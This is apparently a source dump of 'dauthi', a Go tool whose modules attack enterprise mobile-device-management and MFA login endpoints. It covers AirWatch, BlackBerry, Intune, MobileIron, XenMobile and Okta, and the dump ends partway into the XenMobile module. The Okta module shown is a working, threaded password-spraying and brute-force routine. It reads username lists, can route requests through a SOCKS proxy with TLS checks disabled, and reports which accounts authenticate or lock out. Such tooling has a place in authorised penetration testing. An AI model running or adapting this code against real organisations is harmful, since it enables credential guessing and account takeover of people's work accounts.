├── images └── dauthi.jpg ├── go.mod ├── go.sum ├── LICENSE ├── utils ├── log.go └── utils.go ├── charges ├── charges.go ├── mfa │ └── mfa.go ├── xenMobile │ └── xenmobile.go ├── blackberry │ └── blackberry.go ├── intune │ └── intune.go ├── mobileiron │ └── mobileiron.go └── airwatch │ └── airwatch.go ├── dauthi.go ├── README.md └── blackberry.js /images/dauthi.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/emptynebuli/dauthi/HEAD/images/dauthi.jpg -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module dauthi 2 | 3 | go 1.22.1 4 | 5 | require ( 6 | github.com/andreburgaud/crypt2go v1.5.0 7 | golang.org/x/net v0.23.0 8 | ) 9 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/andreburgaud/crypt2go v1.5.0 h1:7hz8l9WjaMEtAUL4+nMm64Of7HzUr1H4JhmNof7BCLc= 2 | github.com/andreburgaud/crypt2go v1.5.0/go.mod h1:ZEu8s+aLbZdRNdSHr//o6gCSMYKgT24sjNX6r4uAI8U= 3 | golang.org/x/crypto v0.21.0 h1:X31++rzVUdKhX5sWmSOFZxx8UW/ldWx55cbf08iNAMA= 4 | golang.org/x/crypto v0.21.0/go.mod h1:0BP7YvVV9gBbVKyeTG0Gyn+gZm94bibOW5BjDEYAOMs= 5 | golang.org/x/net v0.23.0 h1:7EYJ93RZ9vYSZAIb2x3lnuvqO5zneoD6IvWjuhfxjTs= 6 | golang.org/x/net v0.23.0/go.mod h1:JKghWKKOSdJwpW2GEx0Ja7fmaKnMsbu+MWVZTokSYmg= 7 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 emptynebuli 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /utils/log.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "fmt" 5 | "log" 6 | "os" 7 | ) 8 | 9 | // Logger struct for logger interfaces 10 | type Logger struct { 11 | charge string 12 | stdout *log.Logger 13 | stderr *log.Logger 14 | } 15 | 16 | // NewStdLogger creates that standard logger 17 | func NewLogger(charge string) *Logger { 18 | l := &Logger{ 19 | charge: charge, 20 | stdout: log.New(os.Stdout, "", 0), 21 | stderr: log.New(os.Stderr, "", 0), 22 | } 23 | 24 | return l 25 | } 26 | 27 | // Format fuction to pull/formate premble log data 28 | func (l *Logger) preString(pre []interface{}) string { 29 | val := "" 30 | 31 | if len(pre) > 0 { 32 | val += "[" 33 | for i, v := range pre { 34 | v := fmt.Sprintf("%v", v) 35 | if v != "" { 36 | if i > 0 { 37 | val += ":" + v 38 | } else { 39 | val += v 40 | } 41 | } 42 | } 43 | val += "] " 44 | } 45 | 46 | return val 47 | } 48 | 49 | // Successful stdout formater 50 | func (l *Logger) Successf(pre []interface{}, data string, v ...interface{}) { 51 | l.stdout.Printf("[+] ["+l.charge+"] "+l.preString(pre)+data+"\n", v...) 52 | } 53 | 54 | // Failure stdout formater 55 | func (l *Logger) Failf(pre []interface{}, data string, v ...interface{}) { 56 | l.stdout.Printf("[-] ["+l.charge+"] "+l.preString(pre)+data+"\n", v...) 57 | } 58 | 59 | // Info stdout formater 60 | func (l *Logger) Infof(pre []interface{}, data string, v ...interface{}) { 61 | l.stdout.Printf("[*] ["+l.charge+"] "+l.preString(pre)+data+"\n", v...) 62 | } 63 | 64 | // Error stderr formater 65 | func (l *Logger) Errorf(pre []interface{}, data string, v ...interface{}) { 66 | l.stderr.Printf("[ERROR] ["+l.charge+"] "+l.preString(pre)+data+"\n", v...) 67 | } 68 | 69 | // Fatal stderr formater 70 | func (l *Logger) Fatalf(pre []interface{}, data string, v ...interface{}) { 71 | l.stderr.Printf("[FATAL] ["+l.charge+"] "+l.preString(pre)+data+"\n", v...) 72 | os.Exit(1) 73 | } 74 | 75 | // Debug stdout formater 76 | func (l *Logger) Debugf(pre []interface{}, data string, v ...interface{}) { 77 | l.stdout.Printf("[DEBUG] ["+l.charge+"] "+l.preString(pre)+data+"\n", v...) 78 | } 79 | 80 | // Standard stdout formater 81 | func (l *Logger) StdOut(data string, v ...interface{}) { 82 | l.stdout.Printf("["+l.charge+"] "+data+"\n", v...) 83 | } 84 | -------------------------------------------------------------------------------- /charges/charges.go: -------------------------------------------------------------------------------- 1 | package charges 2 | 3 | import ( 4 | "dauthi/charges/airwatch" 5 | "dauthi/charges/blackberry" 6 | "dauthi/charges/intune" 7 | "dauthi/charges/mfa" 8 | mobileiron "dauthi/charges/mobileiron" 9 | xenmobile "dauthi/charges/xenMobile" 10 | 11 | "dauthi/utils" 12 | ) 13 | 14 | // Interface supporting charge classes 15 | type mgr interface { 16 | Call() 17 | } 18 | 19 | // Interface wrapper 20 | type Attack struct { 21 | mgr 22 | } 23 | 24 | // charge constants 25 | const ( 26 | tools = ` 27 | dauthi Charges: 28 | disco Global discovery of all charges 29 | 30 | airwatch VMWare AirWatch 31 | blackberry BlackBerry UEM 32 | intune Microsoft Intune 33 | mfa Various MFA Authenticators 34 | mobileiron Ivanti MobileIron 35 | xenmobile Citrix XenMobile 36 | ` 37 | ) 38 | 39 | // Charge init 40 | func Init(t string, o *utils.ChargeOpts) *Attack { 41 | switch t { 42 | case "airwatch": 43 | return &Attack{airwatch.Init(*o)} 44 | 45 | case "mobileiron": 46 | return &Attack{mobileiron.Init(*o)} 47 | 48 | case "xenmobile": 49 | return &Attack{xenmobile.Init(*o)} 50 | 51 | case "blackberry": 52 | return &Attack{blackberry.Init(*o)} 53 | 54 | case "intune": 55 | return &Attack{intune.Init(*o)} 56 | 57 | // case "maas360": 58 | // return &Attack{maas360.Init(*o)} 59 | 60 | case "mfa": 61 | return &Attack{mfa.Init(*o)} 62 | 63 | case "disco": 64 | o.Method = "disco" 65 | airwatch.Init(*o).Call() 66 | mobileiron.Init(*o).Call() 67 | xenmobile.Init(*o).Call() 68 | blackberry.Init(*o).Call() 69 | intune.Init(*o).Call() 70 | 71 | return nil 72 | 73 | default: 74 | return nil 75 | } 76 | } 77 | 78 | // Print charge usages 79 | func Usage(t string) string { 80 | switch t { 81 | case "airwatch": 82 | return airwatch.Usage + airwatch.Methods 83 | 84 | case "mobileiron": 85 | return mobileiron.Usage + mobileiron.Methods 86 | 87 | case "xenmobile": 88 | return xenmobile.Usage + xenmobile.Methods 89 | 90 | case "blackberry": 91 | return blackberry.Usage + blackberry.Methods 92 | 93 | case "intune": 94 | return intune.Usage + intune.Methods 95 | 96 | // case "maas360": 97 | // return maas360.Usage + maas360.Methods 98 | 99 | case "mfa": 100 | return mfa.Usage + mfa.Methods 101 | 102 | case "full": 103 | return tools + Usage("airwatch") + 104 | Usage("mobileiron") + 105 | Usage("xenmobile") + 106 | Usage("blackberry") + 107 | Usage("intune") + 108 | Usage("maas360") + 109 | Usage("mfa") 110 | 111 | default: 112 | return tools 113 | } 114 | } 115 | -------------------------------------------------------------------------------- /charges/mfa/mfa.go: -------------------------------------------------------------------------------- 1 | package mfa 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | "time" 7 | 8 | "dauthi/utils" 9 | ) 10 | 11 | type mdma struct { 12 | opts utils.ChargeOpts 13 | logr *utils.Logger 14 | cycle 15 | } 16 | 17 | type cycle struct { 18 | buff *chan bool 19 | block *chan bool 20 | length int 21 | api *utils.API 22 | } 23 | 24 | const ( 25 | Usage = ` 26 | MFA Options: 27 | -a User-Agent for request [default: Agent/20.08.0.23/Android/11] 28 | ` 29 | 30 | // Methods are available tool methods 31 | Methods = ` 32 | MFA Methods: 33 | auth-okta Okta SFA authentication attack 34 | ` 35 | 36 | oktaAuthAPI = `https://%s.okta.com/api/v1/authn` 37 | 38 | oktaAuthPOST = `{"options": {"warnBeforePasswordExpired": true, "multiOptionalFactorEnroll": true}, ` + 39 | `"subdomain": "%s", "username": "%s", "password": "%s"}` 40 | ) 41 | 42 | // Init mdma with default values and return obj 43 | func Init(o utils.ChargeOpts) *mdma { 44 | if o.Agent == "" { 45 | o.Agent = "Agent/20.08.0.23/Android/11" 46 | } 47 | log := utils.NewLogger("multi-factor") 48 | 49 | return &mdma{ 50 | opts: o, 51 | logr: log, 52 | cycle: cycle{ 53 | api: &utils.API{ 54 | Debug: o.Debug, 55 | Log: log, 56 | Proxy: o.Proxy}, 57 | }, 58 | } 59 | } 60 | 61 | // clone() copies an *mdma for process threading 62 | func (m *mdma) clone() *mdma { 63 | clone := Init(m.opts) // assign target 64 | clone.cycle.block = m.cycle.block 65 | clone.cycle.buff = m.cycle.buff 66 | 67 | return clone 68 | } 69 | 70 | // Wrapper to parse JSON/XML objects 71 | func (m *mdma) parser(data interface{}, p string) bool { 72 | switch p { 73 | case "json": 74 | err := m.cycle.api.Resp.ParseJSON(data) 75 | if err != nil { 76 | m.logr.Errorf([]interface{}{m.opts.Method}, "Response Marshall Error: %v", err) 77 | return true 78 | } 79 | 80 | case "xml": 81 | err := m.cycle.api.Resp.ParseXML(data) 82 | if err != nil { 83 | m.logr.Errorf([]interface{}{m.opts.Method}, "Response Marshall Error: %v", err) 84 | return true 85 | } 86 | } 87 | 88 | return false 89 | } 90 | 91 | func (m *mdma) auth() { 92 | var file []byte 93 | var err error 94 | 95 | if m.opts.File != "" { 96 | file, err = utils.ReadFile(m.opts.File) 97 | if err != nil { 98 | m.logr.Fatalf([]interface{}{m.opts.File}, "File Read Failure") 99 | } 100 | } 101 | 102 | lines := strings.Split(string(file), "\n") 103 | block := make(chan bool, m.opts.Threads) 104 | buff := make(chan bool, len(lines)) 105 | m.cycle.block = &block 106 | m.cycle.buff = &buff 107 | m.cycle.length = len(lines) 108 | 109 | m.logr.Infof([]interface{}{m.opts.Method}, "threading %d values across %d threads", m.cycle.length, m.opts.Threads) 110 | 111 | for _, line := range lines { 112 | if len(lines) > 1 && line == "" { 113 | *m.cycle.buff <- false 114 | continue 115 | } 116 | 117 | target := m.clone() // assign target 118 | 119 | if line == "" { 120 | line = target.opts.UserName 121 | } else { 122 | target.opts.UserName = line 123 | } 124 | 125 | switch m.opts.Method { 126 | case "auth-okta": 127 | target.cycle.api.Name = target.opts.Method 128 | target.cycle.api.URL = fmt.Sprintf(oktaAuthAPI, target.opts.Endpoint) 129 | target.cycle.api.Data = fmt.Sprintf(oktaAuthPOST, target.opts.Endpoint, target.opts.UserName, target.opts.Password) 130 | target.cycle.api.Method = `POST` 131 | target.cycle.api.Opts = &map[string]interface{}{ 132 | "Header": map[string][]string{ 133 | "X-Requested-With": []string{"XMLHttpRequest"}, 134 | "X-Okta-User-Agent-Extended": []string{"okta-signin-widget-5.14.1"}, 135 | "User-Agent": []string{target.opts.Agent}, 136 | "Accept": []string{"application/json"}, 137 | "Content-Type": []string{"application/json"}}} 138 | 139 | default: 140 | m.logr.Failf([]interface{}{m.opts.Method}, "Unknown Method Called") 141 | } 142 | target.thread() 143 | } 144 | 145 | for i := 0; i < m.cycle.length; i++ { 146 | <-*m.cycle.buff 147 | } 148 | close(*m.cycle.block) 149 | close(*m.cycle.buff) 150 | } 151 | 152 | // thread represents the threading process to loop multiple requests 153 | func (m *mdma) thread() { 154 | *m.cycle.block <- true 155 | go func() { 156 | m.cycle.api.WebCall() 157 | 158 | if m.cycle.api.Resp.Status == 0 { 159 | if m.opts.Miss < m.opts.Retry { 160 | m.opts.Miss++ 161 | m.logr.Infof([]interface{}{m.opts.Endpoint, m.opts.UserName, m.opts.Password}, "Retrying Request") 162 | <-*m.cycle.block 163 | m.thread() 164 | return 165 | } 166 | m.logr.Failf([]interface{}{m.opts.Endpoint, m.opts.UserName, m.opts.Password}, "Null Server Response") 167 | } 168 | m.validate() 169 | 170 | // Sleep interval through thread loop 171 | time.Sleep(time.Duration(m.opts.Sleep) * time.Second) 172 | <-*m.cycle.block 173 | *m.cycle.buff <- true 174 | }() 175 | } 176 | 177 | func (m *mdma) validate() { 178 | switch m.opts.Method { 179 | case "auth-okta": 180 | var check struct { 181 | Status string `json:"status"` 182 | Error string `json:"errorSummary"` 183 | } 184 | if m.parser(&check, "json") { 185 | return 186 | } 187 | 188 | if check.Status != "" { 189 | if check.Status == "MFA_ENROLL" { 190 | m.logr.Successf([]interface{}{m.opts.UserName, m.opts.Password}, "Authentication Successful - MFA REQUIRED") 191 | } else if check.Status == "LOCKED_OUT" { 192 | m.logr.Failf([]interface{}{m.opts.UserName, m.opts.Password}, "Authentication Failed - Account Locked") 193 | } else { 194 | m.logr.Successf([]interface{}{m.opts.UserName, m.opts.Password}, "Authentication Successful") 195 | } 196 | } else { 197 | m.logr.Failf([]interface{}{m.opts.UserName, m.opts.Password}, "%s", check.Error) 198 | } 199 | } 200 | } 201 | 202 | // Call represents the switch function for activating all class methods 203 | func (m *mdma) Call() { 204 | switch m.opts.Method { 205 | case "auth-okta": 206 | if m.opts.Email == "" && m.opts.File == "" { 207 | m.logr.Errorf([]interface{}{m.opts.Method}, "Email/File required") 208 | return 209 | } 210 | m.opts.UserName = m.opts.Email 211 | m.auth() 212 | 213 | default: 214 | m.logr.StdOut(Methods) 215 | m.logr.Fatalf(nil, "Invalid Method Selected %v", m.opts.Method) 216 | } 217 | } 218 | -------------------------------------------------------------------------------- /dauthi.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "os" 7 | "strings" 8 | 9 | "dauthi/charges" 10 | "dauthi/utils" 11 | ) 12 | 13 | const ( 14 | banner = ` 15 | ; 16 | ED. 17 | E#Wi : 18 | E###G. Ef . . t 19 | E#fD#W; .. E#t GEEEEEEEL Di Dt Ej 20 | E#t t##L ;W, E#t ,;;L#K;;. E#i E#i E#, 21 | E#t .E#K, j##, E#t t#E E#t E#t E#t 22 | E#t j##f G###, E#t fi t#E E#t E#t E#t 23 | E#t :E#K: :E####, E#t L#j t#E E########f. E#t 24 | E#t t##L ;W#DG##, E#t L#L t#E E#j..K#j... E#t 25 | E#t .D#W; j###DW##, E#tf#E: t#E E#t E#t E#t 26 | E#tiW#G. G##i,,G##, E###f t#E E#t E#t E#t 27 | E#K##i :K#K: L##, E#K, t#E f#t f#t E#t 28 | E##D. ;##D. L##, EL fE ii ii E#t 29 | E#t ,,, .,, : : ,;. 30 | L: 31 | @emptynebuli 32 | ` 33 | 34 | usage = ` 35 | Usage: 36 | dauthi [OPTIONS] 37 | dauthi [charge] -h | -help 38 | dauthi -v 39 | 40 | Global Options: 41 | -d Enable debug output (incremental -ddd) 42 | -h, -help Show usage 43 | -hh Extended help 44 | -p User password value 45 | -r Disable randomize device ID 46 | -s Silent - disable banner output 47 | -t Application threads [default: 10] 48 | -u Username value 49 | -v, -version Version details 50 | 51 | -proxy SOCKS5 proxy IP and port for traffic tunneling (aka 127.0.0.1:8081) 52 | -retry Number of retry attempts on failed connections [default: 1] 53 | -sleep Sleep timer per thread groups in Seconds (aka 3) 54 | -uuid Device UUID value 55 | 56 | Target FQDN for Discovery 57 | MDM Authentication Endpoint 58 | Encrypted CipherTXT 59 | Line divided file containing brute-force values 60 | ` 61 | 62 | version = `1.0` 63 | ) 64 | 65 | func main() { 66 | // Global program variable definitions 67 | var ( 68 | flMDMA string 69 | flMethod string 70 | flAgent = flag.String("a", "", "") 71 | flCookie = flag.String("c", "", "") 72 | flDebug = flag.Bool("d", false, "") 73 | flEmail = flag.String("email", "", "") 74 | flGID = flag.String("gid", "", "") 75 | flGUID = flag.Int("guid", 0, "") 76 | flHelpPP = flag.Bool("hh", false, "") 77 | flPIN = flag.String("pin", "", "") 78 | flPass = flag.String("p", "", "") 79 | flPort = flag.String("P", "", "") 80 | flPri = flag.String("pri", "", "") 81 | flProxy = flag.String("proxy", "", "") 82 | flPub = flag.String("pub", "", "") 83 | flRetry = flag.Int("retry", 1, "") 84 | flRUUID = flag.Bool("r", true, "") 85 | flSilent = flag.Bool("s", false, "") 86 | flSleep = flag.Int("sleep", 0, "") 87 | flSubGID = flag.String("sgid", "", "") 88 | flSubGINT = flag.Int("sint", 0, "") 89 | flTenant = flag.String("tenant", "", "") 90 | flThread = flag.Int("t", 10, "") 91 | flUUID = flag.String("uuid", "", "") 92 | flUser = flag.String("u", "", "") 93 | flVDebug = flag.Bool("dd", false, "") 94 | flVVDebug = flag.Bool("ddd", false, "") 95 | flVersion = flag.Bool("v", false, "") 96 | flVersion2 = flag.Bool("version", false, "") 97 | ) 98 | 99 | // Flag Usage definition 100 | flag.Usage = func() { 101 | if !*flSilent { 102 | fmt.Println(banner) 103 | } 104 | fmt.Println(usage, charges.Usage(flMDMA)) 105 | os.Exit(0) 106 | } 107 | 108 | // Flags requires first argument to be of -value context to parse correctly 109 | // Flags will count the arg length with offset +1 110 | if len(os.Args) > 1 { 111 | if os.Args[1] == "disco" { 112 | flMDMA = os.Args[1] 113 | os.Args = os.Args[1:] 114 | } else if len(os.Args) < 2 { 115 | fmt.Printf("%s%s[ERROR] Unrecognized Option ", banner, usage) 116 | os.Exit(1) 117 | } else if !strings.HasPrefix(os.Args[1], "-") && !strings.HasPrefix(os.Args[2], "-") { 118 | flMDMA = os.Args[1] 119 | flMethod = os.Args[2] 120 | os.Args = os.Args[2:] 121 | } else if !strings.HasPrefix(os.Args[1], "-") { 122 | flMDMA = os.Args[1] 123 | os.Args = os.Args[1:] 124 | } 125 | } 126 | 127 | // Flag Parsing 128 | flag.Parse() 129 | if *flVersion || *flVersion2 { 130 | fmt.Printf("version: %s\n", version) 131 | os.Exit(0) 132 | } 133 | if *flHelpPP { 134 | if !*flSilent { 135 | fmt.Println(banner) 136 | } 137 | fmt.Println(usage, charges.Usage("full")) 138 | os.Exit(0) 139 | } 140 | 141 | opts := &utils.ChargeOpts{ 142 | Agent: *flAgent, 143 | Cookie: *flCookie, 144 | Email: *flEmail, 145 | GUID: *flGUID, 146 | GroupID: *flGID, 147 | Method: flMethod, 148 | PIN: *flPIN, 149 | Password: *flPass, 150 | Port: *flPort, 151 | PriKey: *flPri, 152 | Proxy: *flProxy, 153 | PubCert: *flPub, 154 | RUUID: *flRUUID, 155 | Retry: *flRetry, 156 | Silent: *flSilent, 157 | Sleep: *flSleep, 158 | SubGroup: *flSubGID, 159 | SubGroupINT: *flSubGINT, 160 | Tenant: *flTenant, 161 | Threads: *flThread, 162 | UUID: *flUUID, 163 | UserName: *flUser, 164 | } 165 | 166 | switch len(flag.Args()) { 167 | case 1: 168 | opts.Endpoint = flag.Arg(0) 169 | case 2: 170 | opts.Endpoint = flag.Arg(0) 171 | opts.File = flag.Arg(1) 172 | default: 173 | flag.Usage() 174 | } 175 | 176 | // Increase Debug verbosity 177 | if *flVVDebug { 178 | opts.Debug = 3 179 | } else if *flVDebug { 180 | opts.Debug = 2 181 | } else if *flDebug { 182 | opts.Debug = 1 183 | } else { 184 | opts.Debug = 0 185 | } 186 | 187 | if !*flSilent { 188 | fmt.Println(banner) 189 | } 190 | 191 | mdma := charges.Init(flMDMA, opts) 192 | if ok := mdma == nil; !ok { 193 | mdma.Call() 194 | } else if flMDMA != "disco" { 195 | fmt.Println(usage + charges.Usage(opts.Endpoint) + "[ERROR] Unknown Charge") 196 | } 197 | } 198 | -------------------------------------------------------------------------------- /utils/utils.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "bytes" 5 | "encoding/json" 6 | "encoding/xml" 7 | "fmt" 8 | "io" 9 | "net" 10 | "os" 11 | "time" 12 | 13 | "crypto/rand" 14 | "crypto/tls" 15 | 16 | "net/http" 17 | 18 | "golang.org/x/net/proxy" 19 | ) 20 | 21 | // CLI options for charge initialization 22 | type ChargeOpts struct { 23 | Agent string 24 | Cookie string 25 | CorpID string 26 | Debug int 27 | Email string 28 | Endpoint string 29 | File string 30 | GUID int 31 | GroupID string 32 | Method string 33 | Miss int 34 | PIN string 35 | Password string 36 | Port string 37 | PriKey string 38 | Proxy string 39 | PubCert string 40 | Retry int 41 | RUUID bool 42 | Sleep int 43 | Silent bool 44 | SubGroup string 45 | SubGroupINT int 46 | Tenant string 47 | Threads int 48 | UUID string 49 | UserName string 50 | } 51 | 52 | // API is the object structure for utils to make 53 | // client web requests. The Opts option is intended 54 | // for dynamic typing of various HTTP request values 55 | // which may need to be applied to the request or client. 56 | // For example, various HTTP header values 57 | type API struct { 58 | Name string 59 | URL string 60 | Data string 61 | Method string 62 | Opts *map[string]interface{} 63 | Debug int 64 | Log *Logger 65 | Base int 66 | Offset int 67 | Proxy string 68 | Resp resp 69 | } 70 | 71 | // RESP represents the struct for connection responses 72 | // of HTTP/HTTPS/TCP based connections 73 | type resp struct { 74 | Status int 75 | Header map[string][]string 76 | Body []byte 77 | } 78 | 79 | // RandUUID generates a random UUID. 80 | // Input value is designed to dictate 81 | // how long the returned UUID would be. 82 | // Results are in HEX, so input length 83 | // should be half the required output length. 84 | func RandUUID(size int) string { 85 | uuid := make([]byte, size) 86 | io.ReadFull(rand.Reader, uuid) 87 | return fmt.Sprintf("%x", uuid) 88 | } 89 | 90 | func RandGUID() string { 91 | uuid := RandUUID(18) 92 | return fmt.Sprintf("%s-%s-%s-%s-%s", uuid[0:8], uuid[9:13], uuid[14:18], uuid[19:23], uuid[24:]) 93 | } 94 | 95 | func Resolver(host string) bool { 96 | _, err := net.LookupIP(host) 97 | return err == nil 98 | } 99 | 100 | // ParseJSON(check) is a wrapper for json.Unmarshal 101 | func (r *resp) ParseJSON(check interface{}) error { 102 | err := json.Unmarshal(r.Body, check) 103 | if err != nil { 104 | return err 105 | } 106 | return nil 107 | } 108 | 109 | // ParseXML(check) is a wrapper for xml.Unmarshal 110 | func (r *resp) ParseXML(check interface{}) error { 111 | err := xml.Unmarshal(r.Body, check) 112 | if err != nil { 113 | return err 114 | } 115 | return nil 116 | } 117 | 118 | func (api *API) WebCall() { 119 | tlsConfig := &tls.Config{ 120 | InsecureSkipVerify: true, 121 | } 122 | transport := &http.Transport{TLSClientConfig: tlsConfig} 123 | // Support proxy connections for web requests 124 | if api.Proxy != "" { 125 | socks, err := proxy.SOCKS5("tcp", api.Proxy, nil, &net.Dialer{Timeout: 5 * time.Second}) 126 | if err != nil { 127 | api.Log.Errorf([]interface{}{api.Name}, "Failed to establish SOCKS connection %v", err) 128 | return 129 | } 130 | transport.Dial = socks.Dial 131 | } 132 | 133 | client := &http.Client{ 134 | Transport: transport, 135 | CheckRedirect: func(req *http.Request, via []*http.Request) error { 136 | return http.ErrUseLastResponse 137 | }, 138 | } 139 | 140 | req, err := http.NewRequest(api.Method, api.URL, bytes.NewBuffer([]byte(api.Data))) 141 | if err != nil { 142 | api.Log.Errorf(nil, "Request Error (%s): %v", api.URL, err) 143 | return 144 | } 145 | 146 | if api.Opts != nil { 147 | for k, v := range *api.Opts { 148 | switch k { 149 | case "Header": 150 | req.Header = v.(map[string][]string) 151 | case "CheckRedirect": 152 | client.CheckRedirect = v.(func(req *http.Request, via []*http.Request) error) 153 | } 154 | } 155 | } 156 | 157 | if api.Debug > 0 { 158 | api.Log.Debugf([]interface{}{api.Name}, "REQUEST HEADER: %s %s %s", req.URL, req.Proto, req.Header) 159 | if api.Debug > 1 { 160 | api.Log.Debugf([]interface{}{api.Name}, "REQUEST BODY: %s", req.Body) 161 | } 162 | } 163 | 164 | resp, err := client.Do(req) 165 | if err != nil { 166 | if api.Debug > 0 { 167 | api.Log.Debugf([]interface{}{api.Name}, "Dial Error: %v", err) 168 | } 169 | return 170 | } 171 | 172 | defer resp.Body.Close() 173 | bodyBytes, err := io.ReadAll(resp.Body) 174 | if err != nil { 175 | api.Log.Errorf([]interface{}{api.Name}, "Unable to read response: %v", err) 176 | } 177 | api.Resp.Body = bodyBytes 178 | api.Resp.Status = resp.StatusCode 179 | api.Resp.Header = resp.Header 180 | 181 | resp.Body.Close() 182 | 183 | if api.Debug > 1 { 184 | if api.Debug > 2 { 185 | api.Log.Debugf([]interface{}{api.Name}, "RESPONSE Status: %v Headers: %v", api.Resp.Status, api.Resp.Header) 186 | } 187 | api.Log.Debugf([]interface{}{api.Name}, "RESPONSE BODY: %s", api.Resp.Body) 188 | } 189 | } 190 | 191 | // SocketCall is the function for executing a TLS socket request 192 | func (api *API) SocketTLSDial() { 193 | tlsConfig := &tls.Config{ 194 | InsecureSkipVerify: true, 195 | } 196 | 197 | var conn *tls.Conn 198 | // Support TLS Socket connections 199 | if api.Proxy != "" { 200 | socks, err := proxy.SOCKS5(api.Method, api.Proxy, nil, proxy.Direct) 201 | if err != nil { 202 | api.Log.Fatalf([]interface{}{api.Name}, "Failed to establish SOCKS connection %v", err) 203 | } 204 | pcon, err := socks.Dial(api.Method, api.URL) 205 | if err != nil { 206 | api.Log.Errorf([]interface{}{api.Name}, "Failed to proxy connection %v", err) 207 | api.Resp.Status = 400 208 | return 209 | } 210 | conn = tls.Client(pcon, tlsConfig) 211 | } else { 212 | var err error 213 | conn, err = tls.Dial(api.Method, api.URL, tlsConfig) 214 | if err != nil { 215 | api.Log.Errorf(nil, "Dial Error: %v", err) 216 | api.Resp.Status = 400 217 | return 218 | } 219 | } 220 | 221 | buffer := make([]byte, 4096) 222 | 223 | for _, val := range (*api.Opts)["request"].([]string) { 224 | ibytes, err := io.WriteString(conn, val) 225 | if err != nil { 226 | api.Log.Errorf([]interface{}{api.Name}, "Initialization Write Error: %v", err) 227 | api.Resp.Status = 400 228 | return 229 | } 230 | if api.Debug > 0 { 231 | api.Log.Debugf([]interface{}{api.Name}, "Submitted %d bytes", ibytes) 232 | if api.Debug > 1 { 233 | if api.Offset > len(val) { 234 | api.Offset = len(val) 235 | } 236 | api.Log.Debugf([]interface{}{api.Name}, "POST Message Body\n%s", hexDump([]byte(val)[api.Base:api.Offset])) 237 | } 238 | } 239 | 240 | buffer = make([]byte, 4096) // Assign buffer 241 | rbytes, _ := conn.Read(buffer) 242 | if api.Debug > 0 { 243 | api.Log.Debugf([]interface{}{api.Name}, "Received %d bytes", rbytes) 244 | if api.Debug > 1 { 245 | api.Log.Debugf([]interface{}{api.Name}, "RESPONSE Message Body\n%s", hexDump(buffer[api.Base:api.Offset])) 246 | } 247 | } 248 | } 249 | conn.Close() 250 | 251 | api.Resp.Body = buffer 252 | } 253 | 254 | // ReadFile opens file for read access and returns a byte slice 255 | // or error 256 | func ReadFile(file string) ([]byte, error) { 257 | var out []byte 258 | f, err := os.Open(file) 259 | if err != nil { 260 | return nil, err 261 | } 262 | defer f.Close() 263 | 264 | out, _ = io.ReadAll(f) 265 | f.Close() 266 | return out, nil 267 | } 268 | 269 | // hexDump takes a byte slice and outputs a hexDump style string 270 | func hexDump(b []byte) string { 271 | var str string 272 | for i := 0; i < len(b)-1; i += 8 { 273 | if (i/8)%2 < 1 { 274 | str += " " 275 | } else { 276 | str += " " 277 | } 278 | str += fmt.Sprintf("% X", b[i:i+8]) 279 | if (i/8)%2 == 1 { 280 | str += fmt.Sprintf(" |%s|\n", hex2String(b[i-8:i+8])) 281 | } else if i+8 > len(b)-1 { 282 | if (i/8)%2 < 1 { 283 | str += " " 284 | } 285 | for x := 0; x < (len(b)+1)-i; x++ { 286 | str += " " 287 | } 288 | str += fmt.Sprintf(" |%s|\n", hex2String(b[i:i+8])) 289 | } 290 | } 291 | return str 292 | } 293 | 294 | // hex2String validates a byte array for ASCII printable characters 295 | // and subs '.' otherwise 296 | func hex2String(b []byte) string { 297 | var str string 298 | for _, i := range b { 299 | if i > byte(0x1F) && i < byte(0x7F) { 300 | str += string(i) 301 | } else { 302 | str += "." 303 | } 304 | } 305 | return str 306 | } 307 | -------------------------------------------------------------------------------- /charges/xenMobile/xenmobile.go: -------------------------------------------------------------------------------- 1 | package xenmobile 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | "time" 7 | 8 | "dauthi/utils" 9 | ) 10 | 11 | type mdma struct { 12 | opts utils.ChargeOpts 13 | logr *utils.Logger 14 | cycle 15 | } 16 | 17 | type cycle struct { 18 | buff *chan bool 19 | block *chan bool 20 | length int 21 | api *utils.API 22 | } 23 | 24 | const ( 25 | Usage = ` 26 | XenMobile Options: 27 | -a User-Agent for request [default: CitrixReceiver/com.zenprise build/22.11.0 Android/11 VpnCapable X1Class] 28 | 29 | -email User Email address 30 | ` 31 | 32 | // Methods are available tool methods 33 | Methods = ` 34 | XenMobile Methods: 35 | disco XenMobile endpoint discovery query 36 | prof Profile the XenMobile provisioning details 37 | auth XenMobile user based authentication 38 | ` 39 | 40 | discoveryAPI = `https://discovery.cem.cloud.us/ads/root/domain/%s/` 41 | getServerInfo = `https://%s/zdm/cxf/public/getserverinfo` 42 | checkLogin = `https://%s/zdm/cxf/checklogin` 43 | 44 | POSTcheckLogin = `login=%s&password=%s&isAvengerEnabled=false&isEmmCapable=true` 45 | ) 46 | 47 